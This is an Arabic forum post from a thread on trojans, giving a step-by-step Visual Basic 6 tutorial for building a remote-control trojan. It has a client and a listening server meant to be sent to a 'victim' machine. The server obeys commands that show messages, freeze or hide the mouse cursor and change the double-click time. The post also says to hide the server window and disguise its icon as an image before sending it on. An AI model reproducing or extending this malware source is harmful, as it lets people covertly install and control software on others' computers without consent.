رد: عالم التروجانات و كل شيء عنه
شرحه:
السطر الأول لإعادة تفعيل الزر الأول أي زر الاتصال
السطرالثاني لتغير صندوق العناوين إلى ( تم قطع الاتصال )
السطر الثالث لإغلاقالإتصال مع الجهاز الخصم
الآن داخل الزر الثالث نكتب الكود التالي:
code:
Winsock1.SendData "msg" & Text2.Text
شرحه:
يقوم السطر السابق بارسال بيان كتابي هو msg و الذي سنرمزه فيجهاز الخصم على أنه رسالة
ثم & الكلام المكتوب داخل الصندوق text2 ليتمارسال رسالة بما بداخلها
الآن نقوم بالضغط على الwinsock و التي تعلمناإضافتها في الدرس السابق
ثم نقكتب داخل الحدث connect الكود التالي:
code:
Label1.Caption = "تم عملية الاتصال بالجهاز الآخر"
شرحه:
السطر السابق يحدث عندما يتم الاتصال مع الجهاز الخصم و عندهايتم تغير
صندوق العناوينl abelcaption لى ( تم عملية الاتصال بالجهاز الآخر )
نرتب الأزار لتصبح موافقة للصورة المرفقة
الآن ننتقلإلى السيرفر و التي سنقوم بارسالها إلى جهاز الخصم
نقوم بفتح مشروع جديد
الآن نقوم كالعادة بإضافة أداة الإتصال winsock
ثم نكتب داخل الفورم load الكود التالي:
code:
Winsock1.LocalPort = 1234
Winsock1.Listen
شرحه:
يقوم السطر الأول بفتح منفذ في جهاز الخصم و هو هنا 1234
أما السطر الثاني فهو لبدء أخذ معلومات كن هذا المنفذ
الآن داخلالwinsock ضمن الحدث ConnectionRequest نقوم بكتابة الكود التالي:
code:
Winsock1.Close
Winsock1.Accept requestID
شرحه:
السطر الأول لإغلاق الاتصال و الثاني لقبول البيانات القادمةمن الكلينت
الآن داخل الحدث DataArrival نكتب الكود التالي:
code:
Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
Winsock1.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
السطر السابق يتضمن تعاريف للبيانات القادمة
و السطر الأخير هوللتابع الذي سنضيفه إلى الmodule
الآن عند الحدث Error أي حدث حدوث خطأبالاتصال نكتب الكود التالي:
code:
Winsock1.Close
Winsock1.Listen
شرحه:
السطر الأول لإغلاق الاتصال
السطر الثاني لإعادة أخذالبيانات القادمة من الكلينت
- الآن نقوم بإضافة module من قائمة project ثمنقوم بإنشاء تابع على الشكل التالي:
code:
Public Function DoCommand(command As String, data As String)
ثم نقوم بإنشاء حالات عن البيانات القادمة ( سنضيف ما نريد فيما بعد) وذلك بإضافة
الكود التالي:
code:
Select Case LCase(command)
نضيف الآن حالة وصول البيان الذي يحمل البتتات msg و التي سنعرفها هناعلى أنها msgbox
و نكتب الكود التالي:
code:
Case "msg"
MsgBox data, vbInformation, "Information"
السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلىالمستخدم يحوي على البيانات المكتوبة ضمن الtext2 في الكلينت
ثم نضيف الكودالتالي لأنهاء الحالات
code:
End Select
و ننهي هذا التابع كالعادة بالتعليمة
code:
End Function
- بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريبعليه
دمتم بخير و السلام عليكم
يتبع بقية الخيارات.....
السلامعليكم نتابع معاً
الخطوات التي اتفقنا عليها
نفتح المشروع السابق لنضيف لهخيارات جديدة و هي التي تتعلق بمؤشر الفأرة
و سنتسخدم في هذا الدرس التوابعالجديدة التالية:
SetCursorPos:
يمكننا من خلالها تغير و تحديد مكان جديدلمؤشر الفأرة عند جهاز الخصم
SetDoubleClickTime:
يمكننا من خلال هذا التابعإنقاص الفترة الزمنية للضغط على المؤشر بحيث
لا يتمكن المستخدم من عمل ضغتطينمتتاليتين على الفأرة
ShowCursor:
لأظهار وإخفاء مؤشر الفأرة
نقوم فيالمشروع السابق( الكليت) بإضافة ثلاث أزار جديدة لتأخذ الترتيب من 4 إلى 7
و قمبتغير عناوينها للتالي:
name=command4:caption=جمد مؤشرالفأرة
name=command5:caption=زد سرعة ضربات الفأرة
name=command6:caption=قمبإخفاء مؤشر الفأرة
name=command7:caption=قم بإظهار مؤشر الفأرة
نقوم الآنبارسال رموز نمط string إلى جهاز الخصم ثم نقوم في الملف الثاني
بترجمة هذهالرموز
نكتب داخل الزر الرابع الكود التالي:
code:
Private Sub Command4_Click()
Winsock1.SendData "frz"
End Sub
و الخامس:
code:
Private Sub Command5_Click()
Winsock1.SendData "sss"
End Sub
و السادس:
code:
Private Sub Command6_Click()
Winsock1.SendData "hid"
End Sub
و السابع:
code:
Private Sub Command7_Click()
Winsock1.SendData "sho"
End Sub
و لقد انتهينا الآن من ملف الكينت ننتقل الآن إلى ملف السيرفر في جهازالخصم
و نقوم بفتح المشروع السابق و نضيف عليه التوابع التي قمنا بشرحهاسابقاً
( من قائمة add-ins ثم api Viewer)
ثم نقوم بالدخول إلى الmodule الخاصة بنا و نضع تصاريح التوابع في قسم التصريحات العامة:
أي :
code:
Public Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Function SetDoubleClickTime Lib "user32" Alias "SetDoubleClickTime" (ByVal wCount As Long) As Long
Public Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
ثم نعرف ثلاث متحولات نمط srting تعبر عن التابع على النحوالتالي:
code:
Dim setcursor As String
Dim clickTime As String
Dim show As String
ثم نقوم بإضافة حالات البيانات المرمزة القادمة :
code:
Case "frz"
setcursor = SetCursorPos(50, 50)
Case "sss"
clickTime = SetDoubleClickTime(50)
Case "hid"
show = ShowCursor(0)
Case "sho"
show = ShowCursor(1)
كخطوة نهائية نقوم بإخفاء الفورم و تغير الicon إلى شكل صورةما
يمكنكم تحميل هذا المثال كاملاً أي الشيفرة المصدرية من الملفالمرفق
ملاحظةيمكنك أن تجرب إقتحام نفسك فتح الملفالسيرفر اولاً ثم ضع الآي بي 127.0.0.1
__________________
حبيبي يارسول الله ادعي الله أن يفرج عني وعن جميع المسلمين سبحان الله يافارج الهم وياكاشف الغم فرج همي ويسر أمري وأرحم ضعفي وقلة من حيلتي وأرزقني من حيث لا احتسب يارب العالمين
|